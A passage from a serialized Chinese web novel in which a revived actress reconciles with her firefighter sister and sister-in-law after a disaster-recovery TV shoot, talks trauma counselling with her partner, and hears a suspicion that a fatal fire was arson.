“当年的龙岭路消防站的很多战士的亲人,都住在消失的四姑娘山附近,那也是知名景区。”陆嵬轻声说:“但当时距离受灾现场最近的龙岭路消防站接到指挥中心指示,全体成员赴往二十公里外的森林别墅增援救火。抵达现场的同一时间,姑娘山附近遭遇特大泥石流。” 这是一个无法由己身控制的两难抉择。 上级指示他们必须前往火灾现场,在抵达时泥石流事故发生,可却已经无力回天。 所有战士必须硬扛着对家人的担心,全身心的将所有重心放在扑灭山火上。 直到第二天凌晨,天降暴雪,火情覆灭。 但姑娘山已经被地裂吞噬,所有四姑娘山范围内的游客、居民全部沦陷,地下除了冒出的汨汨血水,探测仪器探测不到任何生命体征。 政|府被迫无奈宣布停止搜救姑娘山,将所有资源倾注在尚有希望的地区。 当时的灾情之大、选择之难震惊全球。 陆嵬安静了会,才将自己和黎清曾经的约定告诉了黎数。 然后陆嵬问她:“要告诉她吗?” 名模从黎数和陆嵬身后走过,对她俩亲密的样子已经见怪不怪,没头没尾的听见这么一句,下意识的接了个话:“想说就说呗。” 丢下这么一句,应华又拿着颗大葱去抢刚出炉的馒头去了。 黎数扭头喊了句:“帮我抢五个!” 名模头也不回,挥了挥大葱示意自己听到了。 陆嵬哽了下,“我想吃肉。” 黎数当没听见,人在前线都是给什么吃什么,陆嵬也知道,就是想吃而已。 可惜确实没有。 黎数转移话题说:“灾后十年创伤辅导计划是什么?” 陆嵬最近在做的就是这个。 闻言她说:“增强灾后幸存者的存活概率。因为有超基准线百分二十三的幸存者在之后的十年内会选择自杀。” “禁忌续存期内一般是0-6个月,在这期间,用药物阻断创伤记忆固化。”陆嵬说:“也就是强行用外力去中断人们大脑不断回想、并且将这一一幕幕加固定格的过程。” 黎数点了点头,“你参加过吗?” 陆嵬摇头:“没有。我不参加,也不想遗忘。” 黎数摸摸陆嵬的脸,“你继续说。” 陆嵬点了点上方数据,轻声说:“第一阶段成功的话,可以最高降低百分之六十七的自杀概率。” “第二阶段是创伤重构期,利用空椅子技术与逝者对话,描绘逝者未完成的心愿,再利用集体意愿将所有故事缝合。” 黎数捕捉到了那句‘描绘逝者未完成的心愿’,“你一开始寻找和我相似的人,找‘替身’的原因,是因为这个吗?” 陆嵬点点头。 黎数侧坐在她腿上,陆嵬很依赖的把头埋在她颈侧,把黎数几乎整个包着,说:“我没有参与这个计划,但其后几年的经历,似乎和这个计划不谋而合,最开始其实没想到找什么替身,你出现的那晚上,我只是觉得说不定可以试试看。” 具体试试看什么,陆嵬没说,黎数也都懂。 陆嵬的计划,现在想来黎数也觉得大胆。 但陆嵬的想法和其他的幸存者家属也有不同之处。 黎数想起灾后幸存者那可怕的自杀率就是一阵的心惊胆战,手虚虚的搭在陆嵬的腕上,摸着那条狰狞的疤痕,心想还是有不同的。 两年前在她以为黎明将来时,希望毁在了黎明前的黑暗。 陆嵬没参加第一阶段的记忆回溯阻断,所以此后两年她活在无数次闪回的痛苦中,两年间做的最多的就是不断重复、铭记、回忆、加固。 所以她将自杀这个行为付诸于行动,靠着对自己未完成的心愿撑到最终相遇。 黎数吻了吻陆嵬干燥温暖的唇,轻声说:“找个机会我去找她聊聊。” 陆嵬‘嗯’了声,提起了一桩很久以前的旧事。 “你第一次试镜时自己编的那个试镜剧本,是真事吗?” 黎数愣了愣,过了会说:“是真实发生的事情,只是改了点内容。当时休假的是我爸,报警器出故障很久了,总是误报,燃气公司也来检测过,确定燃气没有泄露,但报警器一直在报警,就没再进一步检测,我爸嫌烦,就把它摘了。听起来是不是像是狼来了的故事?” 黎数顿了顿,说:“但他确实是死在了那场大火里。我当时年纪太小,已经记不清了,只记得当时我妈一直在哭,黎清一直在忙,手上也总拿着很厚的一摞文件,我当时认得字不多,只能勉强看出那是赔偿协议和很厚的证据链。” 陆嵬点了点头,“是十几年前佳达公司那一批被全球召回的燃气泄露报警器?” 黎数点点头:“是那一批,你怎么知道?” 陆嵬皱皱眉,很认真的想了一会,但还是摇了摇头,说:“我不太记得了,就是感觉有点熟悉,好像在哪看见过。” 黎数捏捏陆嵬的耳垂,笑着说:“已经过去了。” 陆嵬不甘心的说:“你如果没回来,那就过不去,在我这就永远过不去。” 陆嵬仰着头,小声问她,“你不会又忽然离开吧?” 黎数也不敢担保,毕竟这件事情发生的实在是太诡异,原理也没人能知道,甚至有时候黎数会出现一种错觉——可能两年前她根本没上山,她也根本没死过。 黎数只能说:“我会爱你一辈子。” 没有意料之中的答案,但陆嵬显然很满足,笑了笑说:“好。” 黎数想着那个‘逝者未完成的心愿’,问陆嵬:“你给我的心愿蓝图都规划了什么?” 陆嵬沉吟一会,“先拿它个大满贯。” 黎数失笑:“拿不到呢?” 陆嵬眨眨眼:“让我表姐去评委席,让姥姥去买通裁判,还不行,我去买几斤黄金给你打一模一样的。” 黎数一愣,过了半晌笑了一声,从陆嵬怀里起身,食指戳着陆嵬脑门,给她脑门正中央按出了个福娃红点,“差不多行了,这种途径拿到的奖项有什么意义?还不够被人群嘲的。几斤的黄金,你敢打我都不敢要。” 陆嵬也站起来,巴巴的跟在她后面,工作人员给黎数戴麦的功夫,她又说:“那你答应给我买的大金表呢。” 从一个身价上亿万的天才导演兼执行总裁兼寰宇最高话事人的嘴里听见这话,实在是太石破天惊。 索要的对象还是个十八岁的小女孩。 工作人员连扫了几眼,确定没听错,头恨不得能缩进脖子里。 黎数警告似的横了陆嵬一眼。 陆嵬不着痕迹的往下拉了拉唇角,又伸手,给黎数看自己手上那根就一百块钱一根的表带,忍气吞声的走了- 在前方跟着俞宝珠学习包扎的时候,黎数忽然听见俞宝珠喊她。 她一抬头,放下手里的东西走过去,说道:“俞老师?” 人在镜头前,俞宝珠把那句‘喊什么老师,喊姨姥姥’给收了回去。 她看着黎数的表情很和蔼,拍拍身边的地面,说:“来,坐。” 黎数坐在她身边,心想搜救工作已经差不多要进入尾声,再过一周左右,她就能和陆嵬一起回申海了。 俞宝珠看黎数的侧脸,惊觉这小姑娘几个月来的变化惊人。 初见时她就记得黎数脸上的疏离,似乎总想和陆嵬撇清关系似的说辞,现在却和陆嵬黏糊的如胶似漆,眼神温和,言谈间也多带纵容。 陆嵬在看到前人尸骨时,俞宝珠就注意到了,黎数的态度并没有隔阂,甚至对陆嵬的所有反应照单全收。 以一个长辈的视角,俞宝珠什么都不知道,只知道陆嵬像是走出来了,而黎数是做到这一切的人。 她脸上温和的神色更甚:“和小嵬相处的还行吧?” 黎数笑了笑,“挺好的,她很……” ‘乖’字临到嘴边被她硬咽下去,黎数挺难的改了个口:“好,对我一直都很好。” “你别看她现在快三十了,实际上她幼稚的要死。”俞宝珠说,“你虽然年纪不大,但比她成熟的多。我人老,但眼睛没瞎,她连天的闹你、缠着你,我都看在眼里。” 正说着话,陆嵬不知道从哪得到的小道消息,神不知鬼不觉的又出现在了俞宝珠正前方五十米的距离。 俞宝珠气笑了,剜了一眼陆嵬,没让她走近,陆嵬当没看见,一直走到两人跟前了,才很不爽的说:“您又说我什么坏话?” 俞宝珠掀起眼皮看她一眼,不说话了。 黎数笑着打了个圆场:“没有,俞老师跟我说你小时候的事情,很有趣,我也想多了解了解你。” 俞宝珠不动声色的看了她一眼。 陆嵬狐疑的看了眼俞宝珠,又坐到黎数身边,“我也听听。” “你不是还要忙着联合灾后创伤组重建以及投资深研的事情吗?”黎数推了推她,“去忙你的。” 陆嵬不愿意,刚想说不急一时,临了看见黎数的目光,忍了忍,又忍气吞声的走了。 背影看上去像是个愤怒的小鸟,黎数看了眼陆嵬手上的表带,是真有点后悔把所有的钱全都交给黎余了。 早知道好歹留个几万应急,品质太好的买不起,买一个普通的全钻手表起码是够的,陆嵬太适合钻石了。 总不能刷陆嵬的卡去给陆嵬买礼物,这也忒不像话了。 但这次俞宝珠却没再说什么,只是静坐了一会,说:“挺好,我和她姥姥能放心了。” 黎数莞尔一笑,只‘嗯’了声,算做是对俞宝珠这意味不明,但黎数能听懂含义的这句话的回应。 “不过你也别太惯着她。”俞宝珠看她一眼:“她一贯会得寸尽尺,吃到一点甜头就会扒着你要更多,得严厉点去管着。” 黎数心说哪有那么严重,陆嵬那么乖,缩在她怀里的时候那么小一只,又一个人扛过这么多,她哪舍得。 但面上不显,还是点点头,“我知道了。” 俞宝珠过了会又说:“回申海以后,来家里吃顿饭吧,跟小嵬说一声,也让她姥姥放心。” 黎数还是应了:“好。” 距离回程的时间越来越近,《地球人心》的节目也临近了尾声。 黎数目光扫过这座久经天灾的破落城市,心想不光是人心,地球的心也没人能摸得准。 上一刻还瑞雪丰年,下一秒就是天塌地陷。 冷不丁的,黎数看到了不远处的黎清正半蹲着,和一个坐着轮椅的女人说话。 女人的腿上夏天也盖着一层薄薄的天蓝色印花毯子,只能看到一条细瘦的小腿,孤零零的脚上是一只白色的帆布鞋,亮到有点发光,和这泥泞的城市格格不入。 她腿上放着一个包装完好的饭桶,手里还拿着一个干净的筷子盒。 看姿态,像是已经吃完,她准备回去了。 比起已经死去的人,幸存下来的人变成了‘丧偶、伤残、孤儿、失独’…… 他们也未必能好好的活,有的可能死不了,却会被痛苦、内疚和陆嵬说的‘定格固化记忆’而折磨一生。 黎数微微眯起了眼睛,看向头顶终于出了头的太阳,站起来拍拍裤腿,搓两下手上的灰尘,往那边走了过去。 近一个月的时间,灾后秩序陆续恢复,路边已经有了小店开业,大多数是饮品店和小饭店。 道路恢复,车辆通行,这座城市久经灾祸,但恢复的速度也比所有人想象中的要更快一些。 黎数指了指不远处的糖水店,迎着光,冲着眼前头发斑白的女人说:“姐,去那边店里坐坐吧,我请你跟嫂子喝个糖水。” 第74章 第七十四章【VIP】 这不是黎数第一次的直面具象化意义的苍老。 上一次在医院见齐若兰的时候,黎数也有这样的感觉。 只是从前她偶尔能从黎余的朋友圈里看到齐若兰的照片,相对来说冲击性还没有那么强。 和这个几乎有几十年没见面的亲姐姐直接面对面,黎数才真正意义上的意识到,原来时光真的是这么可怕的一件事情。 从她口中,居然也能随随便便说出‘几十年’这个重千钧却轻飘飘的一句话。 三人相对无言,黎数忽然发觉其实这一刻最自然的人居然是黎清。 她先是把晋楚推到了里侧,自已坐在了她同侧靠外的位置,才抬头望她。 “吃点什么?”黎清问她。 黎数坐在她的对面,黎清接过服务员递上的菜单,又交给黎数。 菜单上大多都是六陇市的特色糖水和甜品小吃,黎数随便点了几个递回去,黎清也点好了自已和晋楚的那一份。 又陷入了尴尬的沉默中,这次先开口的,是和黎数完全不认识的晋楚。 她似乎天生就有让人凝神倾听的能力,说话时的声音很柔软,是让人如沐春风的嗓音:“你真的是数数吗?” 很久违的昵称,从和黎清关系非同一般的晋楚口中说出来,黎数有一瞬间好像回到了儿时。 她点点头,心想来的一路上黎清应该是给晋楚说过什么,于是点点头,“真的是我。” 避免陷入车轱辘似的‘经历了什么’的话,黎数率先说道:“我根本不知道发生了什么,我是几个月前刚醒来的。” 晋楚脑子乱糟糟的,下意识顺着黎数说的点了点头,但目光有些迟缓,像是暂时还无法去处理黎清和黎数说的话里那庞杂的信息。 服务员端上了糖水,黎数面前是自已点的咖啡,黎清只要了一杯水,但给晋楚点了杯热牛奶。 黎数下意识看了眼窗外的天,三十八九度的湿热天气,店里倒是开着空调,但这种天气恐怕没人愿意喝热的。 黎清把杯子端到晋楚面前,才说:“别急着喝。” 晋楚点了点头,小声的应了句‘好’。 黎清这才回过头,和黎数说:“她这几年做过几次手术,身体亏空的厉害。” 黎数‘嗯’了声。 倒是也能看得出来,晋楚本身就是南方人的体格,骨架小,说话都是吴侬软语的腔调,身体也瘦的厉害,加上本身就很白,更显得病弱了几分。 黎数沉吟了下,说:“嫂子和你是怎么认识的?” 黎清眼尾增添了些岁月的温柔,笑了笑说:“战友。” 晋楚也弯了弯眼睛。 话匣子打开,后面的话就好进行的多。 “嫂子今年多大了?”* 晋楚伸手捧着那杯牛奶,她好像不嫌烫,黎数这才发现,她和黎清身上的衣服都有汗湿的痕迹,但只有晋楚腿上甚至还盖着毯子,进来后,黎清甚至就把自已的外套脱给她了。 晋楚应该很畏寒。 黎清想了想,跟黎数说:“你嫂子比我小点。” 黎数换了个方式,问她:“比我大几岁?嫂子看着也就三十出头那样子吧?” 经过数次大手术,晋楚看着虽然身体虚弱,但一丁点没有苍老的感觉。 可能即便到了五十多岁,晋楚外观看上去都还像是三四十的状态。 她很瘦,脸也很小,浓黑的头发散着,白裙子、白鞋子,像是个不食人间烟火的仙女。 晋楚这次笑了笑,弯着眼睛说:“我也快四十了。” 她话说的虚,没讲真实年龄,怕是要给黎清留点面子。 黎数莫名想到自已和陆嵬在一起后,曲心然知道陆嵬的岁数时一直在高呼,说怎么从前没发现自已居然是个畜生。 谴责自已和陆嵬差这么多岁都能下得去手。 黎数也就点点头。 “去见过妈了?”黎清问她:“前阵子我得到消息给她打了电话,她说陆嵬给了她一笔钱,不多,三四十万,但她一直说在医院看到过你,求我帮她找。” 黎数‘嗯’了声,“我没见她,是托陆嵬转交的卡。” 黎清意有所指:“不见面也好。” 齐若兰和她们姐妹两个人都不一样,野草般肆意生长,她更像是温室里的一朵花,需要呵护,需要依附。 不论是她还是黎数,不论是多大的岁数,都可能子纠缠的对象。 黎清提起齐若兰就有些厌恶,那是根植于少年时期的梦魇,即便她现在已经成家立业,即便她已经离开申海,但猛地需要和这个名字再扯上关系,也不由心生烦闷。 她起身,说了句:“我去趟卫生间。” 又。” 晋楚点点头, 黎清走后,晋楚望着黎数的目光多了几分打量和小 黎数顶着现在一张十八岁的脸和晋楚回望,晋楚忽然弯着眼笑了。 她笑起来的时候和陆嵬很像,开心时眼睛都会眯成一条弯月似的,感染力也很强。 “我还是觉得很不可思议。”晋楚由衷的说:“你姐姐保存了很多你的照片,小时候的、长大的、还有你以前工作时候的。” 黎数倒是从没听说过这个,闻言有些诧异。 “她偶尔会把自已一个人关起来,在网上找你以前的采访、花絮去看。我有时候会陪着她一起,前阵子听到你妈妈给她打的电话的时候,她愣了很久,虽然她嘴上没说,但又往上递了好几次申请,想重新开掘姑娘山。” 晋楚笑了笑:“没想到居然……” 她笑着笑着,眼睛就红了。 黎数把桌面上的纸盒往她那递了递,晋楚在眼睛上按了按,又说:“我和她都没想到你会主动找过来,因为她一直觉得你在怪她。” 这话从何说起。 黎数抬头说:“我为什么要怪她?” 晋楚迟疑了下,往洗手间的方向看了看,但片刻间,像是下定了什么决心一样,和黎数说:“怕你怪她当年离开家的时候,没把你一起带上。” 黎数一愣:“什么?” 很快她就诧异的说:“她离开家里的时候才多大?带上我干什么?我又不是父母全死了只有她这么个亲姐姐,当时我妈还活着呢。” 晋楚也不好说齐若兰的不好,只是摇了摇头,苦笑着说:“你姐姐刚离开家的那段时间,你妈妈一天能给她打上百个电话,换着号的打,想让她回去。你妈妈……” 晋楚停顿了下,没继续这个话题,说:“你姐姐当时一直担心你妈妈带不好你,她一直很愧疚不能把你从那带走,但是她当时也过得很难。” 黎数安静了下去,“这不能怪她。” 黎清离开家时也还没毕业,她要上学,又要打工赚学费,还得奔波于那一场和资本打的官司,毕业后也还要工作,带着当时只有六七岁的她,黎清怎么活? 辍学去养她吗?还是不让黎数上学? 晋楚低声说:“但数数,她没办法不去怪自已。她始终觉得她对你没有尽到应尽的义务,所以这么多年一直想多补偿你,你父亲走后,过了差不多三年左右,赔偿款到位,从你妈告诉她你离开家的那天,她就一直在给你打钱,只是不知道你的号码,始终联系不上你。” 黎数更懵了:“什么赔偿款?” 晋楚一怔:“你不知道吗?她每个月会往你交学费的那张卡上打四千块钱,一直到你二十六岁的时候才停。” 交学费的卡…… 八年,每个月四千,将近四十万块钱。 黎数瞪大了眼睛。 黎数想了想,下意识的说:“尾号是7523那张卡?” 晋楚点头,“嗯。” 黎数无奈的说:“离开家里的时候我就换了手机号,以前的联系人一个也没留,那张卡上的钱取完以后我就没再动过了,上了大学后用的就是学校发的卡。” 所以晋楚刚刚说的那一切,黎数全都不知情。 原来离开家后就再也没联系过的姐姐不是真的不管不顾,只是因为阴差阳错没有联系上。 这么多年来,她一直在默默地关心自已。 想起黎清总在雨夜里奔赴,在姑娘山废墟一线挖掘的身影,黎数忽然有些愧疚。 因为这么多年来,黎数也没想过要主动联系黎清。 晋楚也实在是没想到居然是因为这个原因。 她心念一动,忽然说:“要不你加个她微信?出了那场意外后,加上我的腿,她把一切全都揽在了自已身上,这些年都一直过不去,能和你聊聊天,或许看看你近况,她兴许能好一点。” 话说出口她就担心有些冒失,赶忙说:“不方便也没关系。” “没事,方便。”黎数说着就拿出了手机,按照晋楚报的手机号添加了黎清的好友。 黎数笑着抬头:“她不会怪你自作主张吧?” 晋楚弯着眼睛笑了笑,“不会,她一般不会轻易发脾气。” 黎数便笑着点了点头。 黎清终于从洗手间回来,手上是干燥的。 黎数挑眉,没拆穿她故意离席给她们聊天的动机,也不想去追究晋楚那番话是不是刻意想解释什么,毕竟她说的所有东西都不能作伪,随便一查就能查到。 她还挺感激晋楚能告诉她这些的。 阴差阳错和因果遗憾太多,黎数不想再徒然的丢到一个本来亲密无间的家人了,她也想努努力。 后面三人就着近况闲聊了一会,晋楚听说她半年后有戏要在春节档播出,当下说要去捧场,黎数也没有尴尬,笑着说:“到时候我给你们报销电影票。” 她又问黎清最近工作怎么样,黎清说一切都好。 “你嫂子现在在家工作。”黎清说:“做消防知识推广大使,和六陇市当局合作,平时当不露脸的美食博主,教人家做饭。” 晋楚皱眉:“做的是甜品。” 黎清说:“不都是面和调料做的。” 晋楚也不说话,就看着黎清。 黎清挠挠脸,笑了声:“行,甜品。” 又拐到黎数那边,像找队友似的说:“吃着挺咸挺辣的那种,顶上还有火腿肠和乱七八糟的装饰,像在装修,还总逼我吃,说我反正训练量大能消耗。” 黎数绷不住,这一刻才感受到一点黎清和晋楚的放松:“你们俩好幼稚。” 糖水见了底,甜品被吃的直剩下碎渣。 味道其实不算太好,但胜在新鲜和清凉,黎数的心情大好,也看出黎清和晋楚都是难得轻松的样子。 该说告辞了。 黎数沉默了几秒,笑着说:“姐。” 黎清瞬间很严肃正经的望向黎数,喉咙滚动两下,才说:“嗯。” “以后和嫂子也得好好的。”黎数轻声说:“我从没怪过你,也没资格和立场怪你,你本来就不欠我的。即便是我没回来,即便是陆嵬在这,也没人能说你做错了。” 黎清久久不语。 “你比妈称职多了。”黎数咕哝:“你要是我妈,那我肯定会怪你为什么不带我,但你只是我姐姐。” “我倒是你介意当你妈。”黎清目光复杂,看着黎数稚嫩的脸,“本来你小时候就是我一手带大的,她根本就没管过你。” 黎数弯着眼睛,冲她笑笑,有些鼻酸,“我知道。” 或许有过疑惑和难过,为什么小时候对她那么好的姐姐突然就变了,但是责怪和怨恨是没有的。 长大以后黎数也更加清楚,人活在这世上一辈子,各有各的没法宣之于口的苦,各有各的言不由衷和身不由已。 走到门边,太阳大喇喇的照在身上,黎清把外套收起来,打开晋楚的伞给她遮阳,话家常似的说:“和陆嵬相处怎么样?” 黎数还是那句话,但对着黎清好歹能说出口:“她很乖。” 黎清开伞的动作停了一下,吃了黄连似的扭头:“她乖?” 黎数点头,有一种解释无路的挫败:“你们对她误解都太深了。” 黎清拖着长音‘哦’了一声,似笑非笑的说:“行,我们。” 越抹越黑,黎数干脆不吭声了。 晋楚笑着握了握黎清的手说:“以后给你和小嵬寄甜品吃。你姐姐再过个十年就能退休了,到时候我们考虑一起回申海。” 黎数应了声:“好,到时候给你们摆迎亲宴。” 她又和黎清四目相对,有一句话想说,却又感觉以她的岁数似乎不该说,也不合适。 或许有时候血缘间的纽带就是这么神奇,黎数没有父亲的记忆,母亲给她的也大多都是负面影响,可黎清却是实打实从小对她都无条件付出的那一个。 她不知道是谁能把黎清养的这么好,又或许黎清本来就是这么负责的一个人,她天生就好。 黎数想抱抱她,但面对比她大了十几岁的黎清,几十年的鸿沟没能完全消磨,她有些退缩。 黎清站在黎数面前,看着她鲜活生动的面孔,不同于电视上精致的浓妆,电视、电影里演绎出的不同的人,也不像是花絮、采访里面面俱到的明星,只是未施粉黛,和照片中、和她记忆里的妹妹一模一样的黎数。 黎清把伞交给晋楚,上前迈了半步。 常年从事抢险救援工作的身体比黎数宽厚一大圈,她将黎数拥在了温暖的怀抱里,身上还带着泥土的气息,拍拍黎数的后背,哑声说:“长大了。” 刚想说黎数高了,漂亮了,但话到嘴边,黎清又迟疑了,目光在黎数头顶转了转,那句‘长高了’始终说不出口。 黎数注意到了黎清的目光,哽了下,无言的说:“不用夸我长高了,三阿哥都不长了。我比以前矮了整整八公分。” 八公分。 黎数含恨咬牙,又不敢奢求让老天把这身高还给她,万一身高回来了,命又没了,她找谁说理去。 黎清失笑,刚刚还略显沉重的气氛瞬间土崩瓦解,“才十八。” 黎清笑着笑着,眼圈有些红,自言自语的点头说:“才十八岁,挺好的。以后都好好的,说不定还能长高。” 晋楚用微信和黎数说:“记得给你姐姐多发点照片,让她这次真的能看着你长大。” 黎数答应了。 黎数走后,黎清和晋楚还站在甜品店门口。 晋楚说:“她让服务员又打包了一份甜品和甜点带给陆嵬,不过跟服务员说不放糖,说陆嵬不喜欢。” 黎清‘嗯’了声。 “她们过得很好。”晋楚柔声道:“以后你可以放心了。” 黎清看着晋楚乌黑浓密的长发,目光落在她被毯子遮着的腿,垂眼说:“那你呢?也能过得去吗?” 晋楚微微笑了笑,仰着头说:“我从来都没有因为那场天灾,或是因为我的腿过不去。我比谁都知道那是意外。” 黎清沉默不语。 她一只手推着黎清的轮椅,一只手给她撑着伞。 走了一会,黎清才说:“对不起。” 晋楚摇了摇头,向后靠在椅背上,仅剩的一条腿摇摇摆摆,“都过去了。领导,也一把年纪了,后半生让自已好过一点吧,行不行?” 黎清说:“行。”- 回帐篷这一路上,黎数眯着眼睛,仰着头看了看天际的阳光。 远远的,她在帐篷不远处的树底下看到了吞云吐雾的陆嵬,她面前站着521,手舞足蹈的在说着什么。 抬头时注意到了黎数回来,陆嵬把烟踩灭,从帐篷前迎了上来。 521也瞬间一个猛回头,张开双臂,喊着‘小黎小黎主人主人’就冲了过来,履带滚过碎石遍布的小路,却一点都不耽误它的速度。 走到跟前,陆嵬和黎数十指交握,打量着她的脸色,说:“聊完了?” 黎数笑着点头:“讲开了一些误会,也知道了一些曾经不知道的事情。” “嗯。”察觉到黎数状态上的变化,陆嵬心头一松,“下午没什么事了,可以睡个午觉,最后几天事情不多,可以轻松一点。” 近一个月的时间下来,姑娘山废墟全部被清理干净,共处理超三千具遗体。 在挖出最后一具遗骸后又向下挖掘了二十多米,确定已经没有难民的尸身后,行动宣布圆满结束,遗体下葬六陇市的遇难者纪念园。 得到这个消息时,六陇市于工程收尾时鸣笛默哀,纪念长久以来的遇难者同胞。 几期的节目下来,所有嘉宾都多多少少有些疲惫。 一晃眼到了最后一天,所有工作收尾工作向下进行,节目组众人也可以宣布离开,第二天一早的飞机回程。 没有宴席,也没有谈话,所有嘉宾站在刚来时的地点向后回望。 人民的力量是强大的,来时废墟遍地,走时路旁生花。 黎数在人群的末尾看到了推着晋楚过来的黎清,在散场后牵着陆嵬的手走了过去。 陆嵬还是那副讨人嫌的模样,黎清对待她也没什么好脸色,明明知道陆嵬实际意义上比黎数要小七岁,但莫名的,黎清总觉得陆嵬不是个什么好东西。 又想起黎数说陆嵬很乖。 黎清一扯唇角,被晋楚拽拽才拿出了一份崭新的影集。 黎数好奇的问:“这是什么?” 她打开,才发现里面居然是一张张崭新的照片。照片的精度像是被修复过,只能从里面人物的穿搭、背景上看出一些岁月的痕迹。 黎清点了点不远处出来找主人的机器人和猫,说:“多亏你那个小机器人,这些都是修复后的照片,我托人洗印了一版出来,想着你应该会感兴趣。” 黎数确实是很喜欢。 不论好与坏,这些的确都是她乏味而又灰黑的童年里少有的色彩。 陆嵬看了几张,说:“照片里都是你?” 黎清摇摇头。 晋楚有些不好意思,“其实当时还有我,有几张是我们三个的合照,黎清当时带数数脱不开身,我又想见她,她就把数数一起带出来玩了。” 照片上的黎数还只是个小团子,陆嵬伸手戳戳照片上那小孩,简直是个缩小版的黎数。 再抬头时,黎清挑眉,一瞬间居然感觉陆嵬要说‘你当时为什么不喊我一起’。 活见鬼了。 黎数五六岁的时候陆嵬几岁?都还没被怀上呢吧? 她哼笑一声,说:“行了,东西拿过来了,我走了。” 陆嵬很宝贝那个相册,放在哪都不放心,一会怕受潮、一会怕晒到,一会又怕折角。 找来找去,把相册塞到了521的肚子里。 521很满足的捧着自已的肚子,惊叹着说:“这是我迄今为止保存过最贵重的东西了。” “确实。”陆嵬很赞同:“比你都贵重。” 521不跟陆嵬一般计较,哼着歌把相册里的照片投影到帐篷上,缩在角落和元宝一起看。 睡前黎数躺在那,看着陆嵬收拾完自已,又往脸上贴着面膜,还不忘涂上唇膏的样子感觉好笑。 “你这样子,比需要出镜的女明星保养的还仔细。” 陆嵬看她一眼,没说话,抿抿唇说:“你姐说我老。” “她怎么会这么说?”黎数压根不信。 陆嵬懒洋洋躺在黎数的腿上,手上把玩着黎数的手指:“她没这么说,但她是这么表示的。她看我就像是看一头拱了白菜的猪。” 被她这个比喻逗笑,黎数忍不住扯扯她的头发,“别瞎说。你什么时候跟我姐姐关系这么好了?她平时话都不多说一句。” 陆嵬沉默了一会,忽然仰起脸,轻声说:“黎清跟你说过两年前的那场山林大火吗?和泥石流同时发生的那一天东区的火灾。” 黎数点点头:“提过。说是因为那场火灾死伤了很多人,如果不是第二天下了大雪,恐怕火势还会向外蔓延。” 陆嵬睁开眼,静了会才说:“火灾的源头,是一栋森林别墅。起因是燃气泄露导致的爆炸,当时的别墅里只有一个保姆,和一个婴儿,后来调查的时候,警方在废墟里找到了一个已经损毁的很严重的燃气报警器,据调查,是早年前被全国召回并且禁用的那一批次。” 黎数愣了愣,下意识说:“你的意思是,这是人为的?” 陆嵬说:“如果是别人,我不会这么猜测。但那栋别墅的户主,是陆茂,而那个保姆,是照顾夏希的孩子的保姆,那个孩子,是顾宗年和夏希的。” 第75章 第七十五章【VIP】 这些事情目前仅仅止步于陆嵬的猜测,但陆嵬和黎数透露,说应华手里有证据——只是不知道具体究竟是什么。 但不管是捕风捉影也好,还是确凿如山也好,总归是多了一点筹码。 “他到底想干什么,我始终想不通。”黎数皱了皱眉,“天底下有才能的人这么多,每年都有能杀出重围的黑马,他为什么一定要死盯着你不放?他不是已经在培养温永元了吗?” 陆嵬没说话,沉默的摇了摇头。 离开六陇市时是一个难得的艳阳天,一改往日的阴云密布,黎数和黎清在登机口告别,有些遗憾的说:“以后不知道什么时候能再见。” 黎清的职业特殊性质基本无法远程外出,更何况是前往远在千里之外的申海度假见客,仅有的那点年假还不够休息补觉的。 自己后面的日程也塞的满满当当,回去以后休息一天,第一天就要去拍杂志专访,一天的功夫都不一定能让黎数彻底洗干净指缝里的泥巴。 都有各自的生活,各自的工作,分隔两地,确实是难相见。 黎清笑了笑说:“我每年有一十天年假。今年过年正好想带你嫂子去申海看看房子,合适的话就准备定下来了,到时候我递个申请,看能不能调回申海。” 黎数说不出的欣喜,“真的?!” 黎清点头:“六陇市太潮湿,不合适她养身体,阴雨季和冬天她会腿疼。提前把房子定了,她去申海也能养养身体,装修、通风也得有几年,你嫂子又是个喜欢折腾家里的,到时候随她去好了。” 当初黎清自请来六陇市可以说是降级,但她意愿坚决,还是走了。这些年上面的领导退的退调的调,缺人才缺的厉害。 申海市中央高楼鳞次栉比,防火防患的难度比六陇市只高不少。 黎数忽然想起什么,拽拽陆嵬的胳膊,轻声说:“我记得这次俞老师随行的学生是不是骨科的专家?” 陆嵬没去看晋楚的腿,只‘嗯’了声,过了会说:“她在中心医院有号,每周一三,过来的话提前告诉我一声。” 晋楚闻言只是笑了笑,也没有说好与不好- 剧组包了机,上车后几乎全员都像是卸下了什么重担一样,所有人都戴上了耳机进入睡眠,黎数也不例外。 只是她和陆嵬的手一直是牵着的。 陆嵬睡的时候,中间隔着老远都要把头贴在黎数肩上,小声咕哝说:“万一飞机失事了怎么办?” 黎数困得迷迷糊糊,嘟囔着:“那咱们两个就都在爆炸中变成飞灰了。” “那万一坠海了呢?” “那就都变成鱼食。” “那要是……” 黎数把眼罩拉上去,睁着疲惫的双眼,去吻了下陆嵬,看着她眼睛说:“我爱你。” 陆嵬静了静,头又贴在黎数颈侧,终于算是满意了。 她可能是飞机上唯一一个不困,体力还好的,毕竟也只有她一个月下来没干什么活,不需要提行李,有时候磕着碰着就要故意装柔弱,吃饭都有黎数喂。 她也没干别的,上飞机后就从521肚子里取出一包湿巾来,一点点、很仔细的给黎数清理她的手指,细致到指甲缝隙,又修又磨的给她清理干净,越看越喜欢,时不时的亲一下,咬一口。 521带着元宝在机舱里拍照,能去的地方全都去一遍,一边小声的说:“纪念我们两个这辈子都很难有的飞机生涯!” 元宝被它拎着,不解的‘喵’了声。 521低头给它科普:“你不知道了吧?飞机是不能上小猫咪的。” 元宝晃晃尾巴,521撅起小嘴:“我也不知道能不能上机器人,反正以前陆嵬出去玩也没带过我一起。” 陆嵬能听见,但没搭理,知道521是故意说给她听得。 也不知道这借着跟猫说话实际上是故意说给她听的毛病跟谁学的。 幼稚- 节目组成员下机后各自分散,有的回公司加班,有的回家补觉,加班的大多都是核心领导。 陆嵬毫无这个自觉,牵着补过一觉,但明显没睡饱,反而更困了的黎数出了门。 机场外停着一辆黑色商务迈巴赫,前来接机的人是张姐。 张姐兴奋喜悦的表情溢于言表,迎上去高兴的说:“可算是回来了,一去就是一个月!” 她接过陆嵬和黎数手中的行李放在后面,又给了冲过来的小机器人一个大大的拥抱,再摸摸元宝软乎乎的毛,“快上车吧。” 车上空调已经开了,出机暑气又很快被清空,黎数舒适的躺倒,陆嵬给她腿上盖了个小薄毯,忽然想起上在意大夫的事情。 黎数睁开了眼睛,想了会说:“后天残疾的患者,比起生理上的痛苦,可能。” 